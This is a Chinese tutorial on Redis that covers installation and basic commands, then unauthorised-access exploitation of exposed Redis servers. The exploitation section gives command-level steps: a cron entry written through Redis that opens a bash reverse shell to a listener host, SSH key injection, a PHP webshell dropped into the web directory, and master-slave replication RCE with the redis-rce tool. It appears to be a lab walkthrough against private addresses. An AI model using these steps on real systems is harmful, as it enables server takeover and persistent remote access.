Redis本身是键值对数据库,但是值对应多种数据结构
安装配置redis
1 | wget http://download.redis.io/releases/redis-4.0.8.tar.gz |
修改redis.conf
1 | (1)cp redis.conf ./src/redis.conf |
默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件。
连接redis服务器
(1)交互式方式
1 | redis-cli -h {host} -p {port} |
然后所有的操作都是在交互的方式实现,不需要再执行redis-cli了,加-a参数就是带密码的访问了。
(2)命令方式
1 | redis-cli -h {host} -p {port} {command} |
直接得到命令的返回结果.
常用的命令
1 | (1)查看信息:info |
Redis的一些简单常用命令
SET KEY VALUE
设置指定 key 的值
GET key
获取指定 key 的值。
STRLEN key
返回 key 所储存的字符串值的长度
INCR key
将 key 中储存的数字值增一
DECR key
将 key 中储存的数字值减一
MSET key1 value1 key2 value2 .. keyN valueN
同时设置一个或多个 key-value 对
MSETNX key1 value1 key2 value2 .. keyN valueN
当所有 key 都成功设置,返回 1 。 如果所有给定 key 都设置失败(至少有一个 key 已经存在),那么返回 0。
flushall
删除所有数据
del key
删除键为key的数据
hash表
Redis本身是键值对数据库,但是值对应多种数据结构,hash(即键值对),值中的键值对称为field和value。和string的使用方式其实差不多,就是在对应的命令前面加上h。
列表
Redis列表是简单的字符串列表,按照插入顺序排序。你可以添加一个元素到列表的头部(左边)或者尾部(右边)
集合
Redis 的 Set 是 String 类型的无序集合。集合成员是唯一的,这就意味着集合中不能出现重复的数据。
有序集合
Redis 有序集合和集合一样也是string类型元素的集合,且不允许重复的成员。
不同的是每个元素都会关联一个double类型的分数。redis正是通过分数来为集合中的成员进行从小到大的排序。
有序集合的成员是唯一的,但分数(score)却可以重复。
Redis getshell
如果在安装redis之后,没有修改redis.conf
中的bind 127.0.0.1
,就会导致redis暴露在公网中,此时如果没有设置连接密码,就会造成redis的未授权访问。
写入定时任务
在Ubuntu中,将命令使用redis写入会导致乱码问题,从而使得定时任务无法被反弹回去,所以在Ubuntu中是无法使用写定时任务去反弹shell的。如果是CentOS,可以使用此方法。
Centos的定时任务文件在
/var/spool/cron/root
Ubuntu定时任务文件在
/var/spool/cron/crontabs/root
以CentOS为例
1 | set x "\n* * * * * bash -i >& /dev/tcp/10.10.10.131/4444 0>&1\n" |
写入ssh公钥
1 | 10.10.10.130:6379> config set dir /home/tunan/.ssh |
写入web目录
如果redis的启动权限比较低,但是我们知道他网站的路径的话,可以写一句话木马去,然后进行连接。
1 | 10.10.10.130:6379> set x "<?php phpinfo();?>" |
可以看到我在写的文件位置处看到了写的phpinfo()
。然后可以运行。
其实这些方法,无论是写web目录,还是ssh,主要都是可以控制文件的输出位置,其实原理都差不多,只不过是在不同的位置,写入相应能获得shell的东西。没什么本质区别。而这些东西都有一个特性,就是容错率很高,即使我们输出的文件有些许”垃圾”信息,他们依旧可以执行成功。
主从复制rce
关于主从复制,在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。
然后在从机上加载so文件,我们就可以执行拓展的新命令了。
至于如何实现主从复制模式,可以百度获取。我们开启两个redis之后,先测试一下。发现两边的信息可以共享,说明主从复制正常开启。
1 | https://github.com/Ridter/redis-rce |
把上面这两个文件获取下来,再将.os文件copy到第一个redis-rce-master
文件中,执行下面的命令即可
1 | python3 redis-rce.py --rhost 10.10.10.130(目标机IP) --rport 6379(目标机端口) --lhost 10.10.10.129(本机IP) --lport 4444(本机端口) -f modile.so |
拿到shell。
写干净的数据
RedisWriteFile
。其原理是利用Redis的主从同步写数据,脚本将自己模拟为master,设置对端为slave,这里master的数据空间是可以保证绝对干净的,因此就轻松实现了写无损文件了。
1 | https://github.com/r35tart/RedisWriteFile |
成功。